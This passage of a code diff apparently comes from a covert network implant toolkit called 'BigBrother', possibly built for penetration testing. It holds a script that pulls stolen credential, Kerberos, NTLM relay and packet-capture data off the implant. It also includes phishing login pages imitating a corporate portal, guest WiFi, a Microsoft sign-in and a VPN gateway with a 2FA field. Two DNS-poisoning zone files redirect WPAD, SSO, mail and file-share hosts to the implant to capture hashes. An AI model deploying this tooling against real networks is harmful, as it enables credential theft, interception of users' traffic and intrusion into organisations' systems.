if [[ -z "$IMPLANT" ]]; then
|
||||||
|
echo -e "${RED}Usage: $0 <implant_host> [output_dir]${NC}"
|
||||||
|
echo ""
|
||||||
|
echo "Environment variables:"
|
||||||
|
echo " BB_SSH_USER SSH user (default: root)"
|
||||||
|
echo " BB_SSH_KEY SSH private key path"
|
||||||
|
echo " BB_DATA_DIR BigBrother data dir on implant (default: /root/.bigbrother)"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
SSH_OPTS="-o StrictHostKeyChecking=no -o ConnectTimeout=10"
|
||||||
|
if [[ -n "$SSH_KEY" ]]; then
|
||||||
|
SSH_OPTS="$SSH_OPTS -i $SSH_KEY"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Pre-flight
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
echo -e "${CYAN}[*] BigBrother Data Pull${NC}"
|
||||||
|
echo -e " Implant: ${IMPLANT}"
|
||||||
|
echo -e " Output: ${OUTPUT_DIR}"
|
||||||
|
echo -e " SSH User: ${SSH_USER}"
|
||||||
|
echo ""
|
||||||
|
|
||||||
|
# Test connectivity
|
||||||
|
echo -e "${YELLOW}[*] Testing connectivity...${NC}"
|
||||||
|
if ! ssh $SSH_OPTS "$SSH_USER@$IMPLANT" "echo ok" &>/dev/null; then
|
||||||
|
echo -e "${RED}[-] Cannot reach $IMPLANT via SSH${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
echo -e "${GREEN}[+] Connected to $IMPLANT${NC}"
|
||||||
|
|
||||||
|
# Create output directory structure
|
||||||
|
mkdir -p "$OUTPUT_DIR"/{databases,pcaps,dns_logs,credentials,topology,intel,responder,config,loot}
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Pull data
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
RSYNC_OPTS="-avz --progress --compress-level=9"
|
||||||
|
if [[ -n "$SSH_KEY" ]]; then
|
||||||
|
RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -i $SSH_KEY -o StrictHostKeyChecking=no'"
|
||||||
|
else
|
||||||
|
RSYNC_OPTS="$RSYNC_OPTS -e 'ssh -o StrictHostKeyChecking=no'"
|
||||||
|
fi
|
||||||
|
|
||||||
|
pull_file() {
|
||||||
|
local remote_path="$1"
|
||||||
|
local local_dir="$2"
|
||||||
|
local description="$3"
|
||||||
|
|
||||||
|
echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
|
||||||
|
eval rsync $RSYNC_OPTS "$SSH_USER@$IMPLANT:$remote_path" "$local_dir/" 2>/dev/null || \
|
||||||
|
echo -e " ${RED}(not found or empty)${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
pull_dir() {
|
||||||
|
local remote_path="$1"
|
||||||
|
local local_dir="$2"
|
||||||
|
local description="$3"
|
||||||
|
|
||||||
|
echo -e "${YELLOW}[*] Pulling ${description}...${NC}"
|
||||||
|
eval rsync $RSYNC_OPTS -r "$SSH_USER@$IMPLANT:$remote_path/" "$local_dir/" 2>/dev/null || \
|
||||||
|
echo -e " ${RED}(not found or empty)${NC}"
|
||||||
|
}
|
||||||
|
|
||||||
|
# SQLite databases
|
||||||
|
pull_file "$BB_DATA_DIR/state.db" "$OUTPUT_DIR/databases" "state database"
|
||||||
|
pull_file "$BB_DATA_DIR/dns_queries.db" "$OUTPUT_DIR/databases" "DNS query database"
|
||||||
|
pull_file "$BB_DATA_DIR/credentials.db" "$OUTPUT_DIR/databases" "credential database"
|
||||||
|
pull_file "$BB_DATA_DIR/topology.db" "$OUTPUT_DIR/databases" "topology database"
|
||||||
|
pull_file "$BB_DATA_DIR/intel.db" "$OUTPUT_DIR/databases" "intelligence database"
|
||||||
|
pull_file "$BB_DATA_DIR/kerberos.db" "$OUTPUT_DIR/databases" "Kerberos ticket database"
|
||||||
|
|
||||||
|
# PCAPs
|
||||||
|
pull_dir "$BB_DATA_DIR/pcaps" "$OUTPUT_DIR/pcaps" "PCAP files"
|
||||||
|
|
||||||
|
# Credential data
|
||||||
|
pull_dir "/opt/tools/Responder/logs" "$OUTPUT_DIR/responder" "Responder logs"
|
||||||
|
pull_dir "$BB_DATA_DIR/ntlmrelay_loot" "$OUTPUT_DIR/loot" "NTLM relay loot"
|
||||||
|
pull_file "$BB_DATA_DIR/mitmproxy_flows" "$OUTPUT_DIR/loot/" "mitmproxy flows"
|
||||||
|
|
||||||
|
# Intelligence data
|
||||||
|
pull_dir "$BB_DATA_DIR/topology" "$OUTPUT_DIR/topology" "topology maps"
|
||||||
|
pull_dir "$BB_DATA_DIR/intel" "$OUTPUT_DIR/intel" "intelligence data"
|
||||||
|
|
||||||
|
# Config (for reference)
|
||||||
|
pull_dir "$BB_DATA_DIR/config" "$OUTPUT_DIR/config" "implant configuration"
|
||||||
|
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
# Summary
|
||||||
|
# ---------------------------------------------------------------------------
|
||||||
|
|
||||||
|
echo ""
|
||||||
|
echo -e "${GREEN}[+] Data pull complete${NC}"
|
||||||
|
echo -e " Location: ${OUTPUT_DIR}"
|
||||||
|
echo ""
|
||||||
|
du -sh "$OUTPUT_DIR"/* 2>/dev/null | sed 's/^/ /'
|
||||||
|
echo ""
|
||||||
|
echo -e "${CYAN}[*] Next steps:${NC}"
|
||||||
|
echo " 1. Run extract_files.sh on PCAPs for file carving"
|
||||||
|
echo " 2. Run crack_hashes.sh to crack captured hashes"
|
||||||
|
echo " 3. Run generate_report.py for engagement report"
|
||||||
@@ -0,0 +1,57 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Corporate Sign In</title>
|
||||||
|
<style>
|
||||||
|
*{margin:0;padding:0;box-sizing:border-box}
|
||||||
|
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,sans-serif;background:#f0f2f5;display:flex;justify-content:center;align-items:center;min-height:100vh;color:#1d1d1f}
|
||||||
|
.login-container{background:#fff;border-radius:12px;box-shadow:0 2px 20px rgba(0,0,0,.08);padding:48px 40px;width:100%;max-width:420px}
|
||||||
|
.logo{text-align:center;margin-bottom:32px}
|
||||||
|
.logo .icon{width:48px;height:48px;background:#0066cc;border-radius:10px;display:inline-flex;align-items:center;justify-content:center;margin-bottom:12px}
|
||||||
|
.logo .icon svg{width:28px;height:28px;fill:#fff}
|
||||||
|
.logo h1{font-size:22px;font-weight:600;color:#1d1d1f}
|
||||||
|
.logo p{font-size:14px;color:#6e6e73;margin-top:4px}
|
||||||
|
.form-group{margin-bottom:20px}
|
||||||
|
.form-group label{display:block;font-size:13px;font-weight:500;color:#1d1d1f;margin-bottom:6px}
|
||||||
|
.form-group input{width:100%;padding:12px 16px;border:1px solid #d2d2d7;border-radius:8px;font-size:15px;transition:border-color .2s;outline:none;background:#fafafa}
|
||||||
|
.form-group input:focus{border-color:#0066cc;background:#fff;box-shadow:0 0 0 3px rgba(0,102,204,.1)}
|
||||||
|
.form-group input::placeholder{color:#aeaeb2}
|
||||||
|
.btn-login{width:100%;padding:13px;background:#0066cc;color:#fff;border:none;border-radius:8px;font-size:16px;font-weight:600;cursor:pointer;transition:background .2s}
|
||||||
|
.btn-login:hover{background:#0055b3}
|
||||||
|
.btn-login:active{background:#004499}
|
||||||
|
.help-links{text-align:center;margin-top:24px}
|
||||||
|
.help-links a{font-size:13px;color:#0066cc;text-decoration:none;margin:0 8px}
|
||||||
|
.help-links a:hover{text-decoration:underline}
|
||||||
|
.footer{text-align:center;margin-top:32px;font-size:11px;color:#aeaeb2}
|
||||||
|
.error-msg{display:none;background:#fef0f0;border:1px solid #fbc4c4;color:#c62828;padding:10px 14px;border-radius:8px;font-size:13px;margin-bottom:16px}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="login-container">
|
||||||
|
<div class="logo">
|
||||||
|
<div class="icon"><svg viewBox="0 0 24 24"><path d="M12 2C6.48 2 2 6.48 2 12s4.48 10 10 10 10-4.48 10-10S17.52 2 12 2zm-2 15l-5-5 1.41-1.41L10 14.17l7.59-7.59L19 8l-9 9z"/></svg></div>
|
||||||
|
<h1>Corporate Network</h1>
|
||||||
|
<p>Sign in with your organization account</p>
|
||||||
|
</div>
|
||||||
|
<div class="error-msg" id="error">Invalid credentials. Please try again.</div>
|
||||||
|
<form method="POST" action="/">
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="username">Email or Username</label>
|
||||||
|
<input type="text" id="username" name="username" placeholder="user@company.com" required autocomplete="username" autofocus>
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="password">Password</label>
|
||||||
|
<input type="password" id="password" name="password" placeholder="Enter your password" required autocomplete="current-password">
|
||||||
|
</div>
|
||||||
|
<button type="submit" class="btn-login">Sign In</button>
|
||||||
|
</form>
|
||||||
|
<div class="help-links">
|
||||||
|
<a href="#">Forgot password?</a>
|
||||||
|
<a href="#">Request access</a>
|
||||||
|
</div>
|
||||||
|
<div class="footer">© 2024 Corporate IT Services. Authorized use only.</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,86 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Guest WiFi Access</title>
|
||||||
|
<style>
|
||||||
|
*{margin:0;padding:0;box-sizing:border-box}
|
||||||
|
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Oxygen,Ubuntu,sans-serif;background:linear-gradient(135deg,#667eea 0%,#764ba2 100%);display:flex;justify-content:center;align-items:center;min-height:100vh}
|
||||||
|
.portal{background:#fff;border-radius:16px;box-shadow:0 20px 60px rgba(0,0,0,.15);padding:40px;width:100%;max-width:480px}
|
||||||
|
.header{text-align:center;margin-bottom:28px}
|
||||||
|
.header .wifi-icon{font-size:48px;margin-bottom:12px}
|
||||||
|
.header h1{font-size:24px;color:#1a1a2e;font-weight:700}
|
||||||
|
.header p{font-size:14px;color:#666;margin-top:6px;line-height:1.5}
|
||||||
|
.terms-box{background:#f8f9fa;border:1px solid #e9ecef;border-radius:10px;padding:20px;margin-bottom:24px;max-height:160px;overflow-y:auto;font-size:12px;color:#555;line-height:1.6}
|
||||||
|
.terms-box h3{font-size:13px;color:#333;margin-bottom:8px}
|
||||||
|
.form-group{margin-bottom:18px}
|
||||||
|
.form-group label{display:block;font-size:13px;font-weight:500;color:#333;margin-bottom:5px}
|
||||||
|
.form-group input,.form-group select{width:100%;padding:11px 14px;border:1px solid #ddd;border-radius:8px;font-size:14px;outline:none;transition:border-color .2s}
|
||||||
|
.form-group input:focus,.form-group select:focus{border-color:#667eea;box-shadow:0 0 0 3px rgba(102,126,234,.12)}
|
||||||
|
.checkbox-group{display:flex;align-items:flex-start;gap:8px;margin-bottom:20px}
|
||||||
|
.checkbox-group input[type=checkbox]{margin-top:3px;width:16px;height:16px;accent-color:#667eea}
|
||||||
|
.checkbox-group label{font-size:13px;color:#555;line-height:1.4}
|
||||||
|
.btn-connect{width:100%;padding:14px;background:linear-gradient(135deg,#667eea,#764ba2);color:#fff;border:none;border-radius:10px;font-size:16px;font-weight:600;cursor:pointer;transition:opacity .2s}
|
||||||
|
.btn-connect:hover{opacity:.9}
|
||||||
|
.btn-connect:disabled{opacity:.5;cursor:not-allowed}
|
||||||
|
.duration{text-align:center;margin-top:16px;font-size:12px;color:#999}
|
||||||
|
.row{display:flex;gap:12px}
|
||||||
|
.row .form-group{flex:1}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="portal">
|
||||||
|
<div class="header">
|
||||||
|
<div class="wifi-icon">📶</div>
|
||||||
|
<h1>Guest WiFi Access</h1>
|
||||||
|
<p>Welcome! Please register to connect to our guest network.</p>
|
||||||
|
</div>
|
||||||
|
<form method="POST" action="/" id="guestForm">
|
||||||
|
<div class="row">
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="first_name">First Name</label>
|
||||||
|
<input type="text" id="first_name" name="first_name" placeholder="John" required>
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="last_name">Last Name</label>
|
||||||
|
<input type="text" id="last_name" name="last_name" placeholder="Smith" required>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="email">Email Address</label>
|
||||||
|
<input type="email" id="email" name="email" placeholder="john.smith@example.com" required>
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="company">Company / Organization</label>
|
||||||
|
<input type="text" id="company" name="company" placeholder="Acme Corp">
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="reason">Purpose of Visit</label>
|
||||||
|
<select id="reason" name="reason">
|
||||||
|
<option value="meeting">Meeting / Appointment</option>
|
||||||
|
<option value="vendor">Vendor / Contractor</option>
|
||||||
|
<option value="interview">Interview</option>
|
||||||
|
<option value="event">Event / Conference</option>
|
||||||
|
<option value="other">Other</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<div class="terms-box">
|
||||||
|
<h3>Terms of Use</h3>
|
||||||
|
<p>By connecting to this wireless network, you agree to the following terms and conditions:</p>
|
||||||
|
<p>1. This network is provided for authorized guest use only. All network activity may be monitored and recorded for security purposes.</p>
|
||||||
|
<p>2. Users must not attempt to access unauthorized systems, intercept network traffic, or engage in any activity that violates applicable laws.</p>
|
||||||
|
<p>3. The organization reserves the right to terminate access at any time without notice.</p>
|
||||||
|
<p>4. This is an unsecured network. Users connect at their own risk. The organization is not responsible for any data loss or security incidents.</p>
|
||||||
|
<p>5. Access is limited to 24 hours. Contact the front desk for extensions.</p>
|
||||||
|
</div>
|
||||||
|
<div class="checkbox-group">
|
||||||
|
<input type="checkbox" id="accept_terms" name="accept_terms" required>
|
||||||
|
<label for="accept_terms">I accept the Terms of Use and acknowledge that network activity may be monitored.</label>
|
||||||
|
</div>
|
||||||
|
<button type="submit" class="btn-connect">Connect to WiFi</button>
|
||||||
|
</form>
|
||||||
|
<div class="duration">Access valid for 24 hours from registration.</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,88 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>Sign in to your account</title>
|
||||||
|
<style>
|
||||||
|
*{margin:0;padding:0;box-sizing:border-box}
|
||||||
|
body{font-family:'Segoe UI',Tahoma,Geneva,Verdana,sans-serif;background:#f2f2f2;display:flex;justify-content:center;align-items:center;min-height:100vh}
|
||||||
|
.login-box{background:#fff;width:440px;min-height:338px;padding:44px;box-shadow:0 2px 6px rgba(0,0,0,.2)}
|
||||||
|
.ms-logo{margin-bottom:16px}
|
||||||
|
.ms-logo svg{width:108px;height:24px}
|
||||||
|
.title{font-size:24px;font-weight:600;color:#1b1b1b;margin-bottom:24px}
|
||||||
|
.form-field{margin-bottom:16px;position:relative}
|
||||||
|
.form-field input{width:100%;padding:6px 0 6px 10px;border:none;border-bottom:1px solid #666;font-size:15px;outline:none;background:transparent;color:#1b1b1b;height:36px}
|
||||||
|
.form-field input:focus{border-bottom:2px solid #0067b8;padding-bottom:5px}
|
||||||
|
.form-field input::placeholder{color:#767676}
|
||||||
|
.link-forgot{display:block;font-size:13px;color:#0067b8;text-decoration:none;margin-bottom:16px;margin-top:4px}
|
||||||
|
.link-forgot:hover{text-decoration:underline;color:#005a9e}
|
||||||
|
.btn-next{display:block;width:100%;padding:10px 20px;background:#0067b8;color:#fff;border:none;font-size:15px;font-weight:600;cursor:pointer;transition:background .15s;text-align:center}
|
||||||
|
.btn-next:hover{background:#005a9e}
|
||||||
|
.options{margin-top:16px}
|
||||||
|
.options a{display:block;font-size:13px;color:#0067b8;text-decoration:none;margin-bottom:6px}
|
||||||
|
.options a:hover{text-decoration:underline}
|
||||||
|
.footer-links{margin-top:32px;display:flex;gap:16px}
|
||||||
|
.footer-links a{font-size:12px;color:#0067b8;text-decoration:none}
|
||||||
|
.footer-links a:hover{text-decoration:underline}
|
||||||
|
.step{display:none}
|
||||||
|
.step.active{display:block}
|
||||||
|
.back-btn{background:none;border:none;cursor:pointer;display:flex;align-items:center;gap:6px;font-size:13px;color:#1b1b1b;margin-bottom:16px;padding:0}
|
||||||
|
.back-btn:hover{text-decoration:underline}
|
||||||
|
.back-btn svg{width:16px;height:16px}
|
||||||
|
.user-display{display:flex;align-items:center;gap:8px;background:#f2f2f2;border-radius:20px;padding:4px 16px 4px 4px;margin-bottom:20px;width:fit-content;font-size:13px;color:#1b1b1b}
|
||||||
|
.user-display .avatar{width:24px;height:24px;background:#0067b8;border-radius:50%;display:flex;align-items:center;justify-content:center;color:#fff;font-size:11px;font-weight:600}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="login-box">
|
||||||
|
<div class="ms-logo">
|
||||||
|
<svg viewBox="0 0 108 24"><path fill="#f25022" d="M0 0h11v11H0z"/><path fill="#7fba00" d="M12 0h11v11H12z"/><path fill="#00a4ef" d="M0 12h11v11H0z"/><path fill="#ffb900" d="M12 12h11v11H12z"/><text x="28" y="18" fill="#1b1b1b" font-family="Segoe UI" font-size="16" font-weight="600">Microsoft</text></svg>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="step active" id="step1">
|
||||||
|
<div class="title">Sign in</div>
|
||||||
|
<form id="emailForm" onsubmit="showStep2(event)">
|
||||||
|
<div class="form-field">
|
||||||
|
<input type="text" id="username" name="username" placeholder="Email, phone, or Skype" required autofocus autocomplete="username">
|
||||||
|
</div>
|
||||||
|
<div class="options">
|
||||||
|
<a href="#">No account? Create one!</a>
|
||||||
|
<a href="#">Can't access your account?</a>
|
||||||
|
</div>
|
||||||
|
<div style="text-align:right;margin-top:24px">
|
||||||
|
<button type="submit" class="btn-next" style="width:auto;display:inline-block;min-width:108px">Next</button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="step" id="step2">
|
||||||
|
<button type="button" class="back-btn" onclick="showStep1()">
|
||||||
|
<svg viewBox="0 0 16 16"><path d="M11 1L4 8l7 7" fill="none" stroke="currentColor" stroke-width="2"/></svg>
|
||||||
|
<span id="displayEmail"></span>
|
||||||
|
</button>
|
||||||
|
<div class="title">Enter password</div>
|
||||||
|
<form method="POST" action="/" id="passwordForm">
|
||||||
|
<input type="hidden" id="hiddenUsername" name="username">
|
||||||
|
<div class="form-field">
|
||||||
|
<input type="password" id="password" name="password" placeholder="Password" required autocomplete="current-password">
|
||||||
|
</div>
|
||||||
|
<a href="#" class="link-forgot">Forgot my password</a>
|
||||||
|
<div style="text-align:right">
|
||||||
|
<button type="submit" class="btn-next" style="width:auto;display:inline-block;min-width:108px">Sign in</button>
|
||||||
|
</div>
|
||||||
|
</form>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div class="footer-links">
|
||||||
|
<a href="#">Terms of use</a>
|
||||||
|
<a href="#">Privacy & cookies</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<script>
|
||||||
|
function showStep2(e){e.preventDefault();var u=document.getElementById('username').value;document.getElementById('displayEmail').textContent=u;document.getElementById('hiddenUsername').value=u;document.getElementById('step1').classList.remove('active');document.getElementById('step2').classList.add('active');document.getElementById('password').focus()}
|
||||||
|
function showStep1(){document.getElementById('step2').classList.remove('active');document.getElementById('step1').classList.add('active');document.getElementById('username').focus()}
|
||||||
|
</script>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,91 @@
|
|||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>VPN Gateway - Secure Access</title>
|
||||||
|
<style>
|
||||||
|
*{margin:0;padding:0;box-sizing:border-box}
|
||||||
|
body{font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,sans-serif;background:#1a1a2e;display:flex;justify-content:center;align-items:center;min-height:100vh;color:#e0e0e0}
|
||||||
|
.container{display:flex;flex-direction:column;align-items:center;width:100%;max-width:400px;padding:20px}
|
||||||
|
.status-bar{background:rgba(255,255,255,.05);border:1px solid rgba(255,255,255,.1);border-radius:8px;padding:10px 20px;margin-bottom:24px;width:100%;display:flex;align-items:center;gap:10px;font-size:13px}
|
||||||
|
.status-dot{width:8px;height:8px;border-radius:50%;background:#ff4444;animation:pulse 2s infinite}
|
||||||
|
@keyframes pulse{0%,100%{opacity:1}50%{opacity:.4}}
|
||||||
|
.status-bar span{color:#ccc}
|
||||||
|
.login-card{background:linear-gradient(145deg,#16213e,#1a1a2e);border:1px solid rgba(255,255,255,.08);border-radius:16px;padding:40px 36px;width:100%;box-shadow:0 8px 32px rgba(0,0,0,.3)}
|
||||||
|
.header{text-align:center;margin-bottom:32px}
|
||||||
|
.shield-icon{width:56px;height:56px;margin:0 auto 16px;background:rgba(0,150,255,.15);border-radius:14px;display:flex;align-items:center;justify-content:center}
|
||||||
|
.shield-icon svg{width:32px;height:32px;fill:#0096ff}
|
||||||
|
.header h1{font-size:20px;font-weight:600;color:#fff}
|
||||||
|
.header p{font-size:13px;color:#888;margin-top:6px}
|
||||||
|
.form-group{margin-bottom:18px}
|
||||||
|
.form-group label{display:block;font-size:12px;font-weight:500;color:#aaa;margin-bottom:6px;text-transform:uppercase;letter-spacing:.5px}
|
||||||
|
.form-group input,.form-group select{width:100%;padding:12px 14px;border:1px solid rgba(255,255,255,.1);border-radius:8px;font-size:14px;outline:none;background:rgba(255,255,255,.05);color:#fff;transition:border-color .2s}
|
||||||
|
.form-group input:focus,.form-group select:focus{border-color:#0096ff;box-shadow:0 0 0 3px rgba(0,150,255,.15)}
|
||||||
|
.form-group input::placeholder{color:#555}
|
||||||
|
.form-group select{appearance:none;cursor:pointer}
|
||||||
|
.form-group select option{background:#1a1a2e;color:#fff}
|
||||||
|
.remember-row{display:flex;align-items:center;justify-content:space-between;margin-bottom:24px}
|
||||||
|
.remember-row label{display:flex;align-items:center;gap:6px;font-size:13px;color:#aaa;cursor:pointer}
|
||||||
|
.remember-row input[type=checkbox]{accent-color:#0096ff}
|
||||||
|
.btn-connect{width:100%;padding:14px;background:linear-gradient(135deg,#0066ff,#0096ff);color:#fff;border:none;border-radius:8px;font-size:15px;font-weight:600;cursor:pointer;transition:opacity .2s;position:relative;overflow:hidden}
|
||||||
|
.btn-connect:hover{opacity:.9}
|
||||||
|
.btn-connect:active{transform:scale(.99)}
|
||||||
|
.security-note{margin-top:24px;text-align:center;font-size:11px;color:#555;line-height:1.5}
|
||||||
|
.security-note svg{width:12px;height:12px;fill:#555;vertical-align:middle;margin-right:4px}
|
||||||
|
.cert-info{margin-top:16px;padding:12px;background:rgba(0,150,255,.05);border:1px solid rgba(0,150,255,.1);border-radius:8px;font-size:11px;color:#668}
|
||||||
|
.cert-info .label{color:#0096ff;font-weight:500}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<div class="container">
|
||||||
|
<div class="status-bar">
|
||||||
|
<div class="status-dot"></div>
|
||||||
|
<span>SSL VPN Gateway — Authentication Required</span>
|
||||||
|
</div>
|
||||||
|
<div class="login-card">
|
||||||
|
<div class="header">
|
||||||
|
<div class="shield-icon"><svg viewBox="0 0 24 24"><path d="M12 1L3 5v6c0 5.55 3.84 10.74 9 12 5.16-1.26 9-6.45 9-12V5l-9-4zm0 10.99h7c-.53 4.12-3.28 7.79-7 8.94V12H5V6.3l7-3.11v8.8z"/></svg></div>
|
||||||
|
<h1>Secure VPN Access</h1>
|
||||||
|
<p>Authenticate to connect to the corporate network</p>
|
||||||
|
</div>
|
||||||
|
<form method="POST" action="/">
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="realm">Authentication Realm</label>
|
||||||
|
<select id="realm" name="realm">
|
||||||
|
<option value="corporate">Corporate (AD)</option>
|
||||||
|
<option value="contractor">Contractor</option>
|
||||||
|
<option value="admin">IT Admin</option>
|
||||||
|
<option value="emergency">Emergency Access</option>
|
||||||
|
</select>
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="username">Username</label>
|
||||||
|
<input type="text" id="username" name="username" placeholder="DOMAIN\username or email" required autofocus autocomplete="username">
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="password">Password</label>
|
||||||
|
<input type="password" id="password" name="password" placeholder="Enter your password" required autocomplete="current-password">
|
||||||
|
</div>
|
||||||
|
<div class="form-group">
|
||||||
|
<label for="otp">Two-Factor Code (if enabled)</label>
|
||||||
|
<input type="text" id="otp" name="otp" placeholder="6-digit code or leave blank" autocomplete="one-time-code" inputmode="numeric" maxlength="6">
|
||||||
|
</div>
|
||||||
|
<div class="remember-row">
|
||||||
|
<label><input type="checkbox" name="remember"> Remember this device</label>
|
||||||
|
</div>
|
||||||
|
<button type="submit" class="btn-connect">Connect</button>
|
||||||
|
</form>
|
||||||
|
<div class="security-note">
|
||||||
|
<svg viewBox="0 0 24 24"><path d="M18 8h-1V6c0-2.76-2.24-5-5-5S7 3.24 7 6v2H6c-1.1 0-2 .9-2 2v10c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V10c0-1.1-.9-2-2-2zm-6 9c-1.1 0-2-.9-2-2s.9-2 2-2 2 .9 2 2-.9 2-2 2zm3.1-9H8.9V6c0-1.71 1.39-3.1 3.1-3.1s3.1 1.39 3.1 3.1v2z"/></svg>
|
||||||
|
Secured with TLS 1.3. All traffic encrypted.
|
||||||
|
</div>
|
||||||
|
<div class="cert-info">
|
||||||
|
<span class="label">Certificate:</span> vpn-gateway.internal<br>
|
||||||
|
<span class="label">Issued by:</span> Corporate Root CA<br>
|
||||||
|
<span class="label">Valid until:</span> 2025-12-31
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
@@ -0,0 +1,19 @@
|
|||||||
|
# BigBrother DNS Zone — Redirect All
|
||||||
|
#
|
||||||
|
# Redirects ALL DNS queries to the implant IP.
|
||||||
|
# Used with dns_poison.py load_zone() method.
|
||||||
|
#
|
||||||
|
# Format: domain target_ip
|
||||||
|
# Use * for wildcard matching.
|
||||||
|
#
|
||||||
|
# WARNING: Redirecting all DNS is extremely noisy. Use selective.zone.j2
|
||||||
|
# for targeted operations. This zone is for quick-and-dirty captive portal
|
||||||
|
# or total traffic interception scenarios.
|
||||||
|
#
|
||||||
|
# Usage:
|
||||||
|
# dns_poison.load_zone("redirect_all.zone")
|
||||||
|
#
|
||||||
|
# The target IP on the last entry is used as the redirect destination.
|
||||||
|
# Replace IMPLANT_IP with the actual implant IP before use.
|
||||||
|
|
||||||
|
* IMPLANT_IP
|
||||||
@@ -0,0 +1,49 @@
|
|||||||
|
# BigBrother DNS Zone — Selective Redirection
|
||||||
|
#
|
||||||
|
# Jinja2 template for targeted DNS poisoning. Render with:
|
||||||
|
# implant_ip: IP address to redirect to
|
||||||
|
# target_domain: Primary target domain (e.g., "corp.local")
|
||||||
|
# extra_domains: Optional list of additional domains
|
||||||
|
#
|
||||||
|
# Format: domain target_ip
|
||||||
|
# Lines starting with # are ignored.
|
||||||
|
#
|
||||||
|
# Usage:
|
||||||
|
# from jinja2 import Template
|
||||||
|
# rendered = Template(open("selective.zone.j2").read()).render(
|
||||||
|
# implant_ip="10.0.0.0",
|
||||||
|
# target_domain="corp.local",
|
||||||
|
# extra_domains=["intranet.company.com", "vpn.company.com"]
|
||||||
|
# )
|
||||||
|
|
||||||
|
# WPAD — forces proxy autoconfiguration to implant (NTLM capture)
|
||||||
|
wpad.{{ target_domain }} {{ implant_ip }}
|
||||||
|
wpad {{ implant_ip }}
|
||||||
|
|
||||||
|
# Internal authentication endpoints
|
||||||
|
login.{{ target_domain }} {{ implant_ip }}
|
||||||
|
auth.{{ target_domain }} {{ implant_ip }}
|
||||||
|
sso.{{ target_domain }} {{ implant_ip }}
|
||||||
|
adfs.{{ target_domain }} {{ implant_ip }}
|
||||||
|
|
||||||
|
# Exchange / mail
|
||||||
|
autodiscover.{{ target_domain }} {{ implant_ip }}
|
||||||
|
mail.{{ target_domain }} {{ implant_ip }}
|
||||||
|
owa.{{ target_domain }} {{ implant_ip }}
|
||||||
|
|
||||||
|
# SharePoint / intranet
|
||||||
|
intranet.{{ target_domain }} {{ implant_ip }}
|
||||||
|
sharepoint.{{ target_domain }} {{ implant_ip }}
|
||||||
|
portal.{{ target_domain }} {{ implant_ip }}
|
||||||
|
|
||||||
|
# File shares (for hash capture)
|
||||||
|
files.{{ target_domain }} {{ implant_ip }}
|
||||||
|
nas.{{ target_domain }} {{ implant_ip }}
|
||||||
|
dfs.{{ target_domain }} {{ implant_ip }}
|
||||||
|
|
||||||
|
{% if extra_domains is defined %}
|
||||||
|
# Additional targeted domains
|
||||||
|
{% for domain in extra_domains %}
|
||||||
|
{{ domain }} {{ implant_ip }}
|
||||||
|
{% endfor %}
|
||||||
|
{% endif %}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
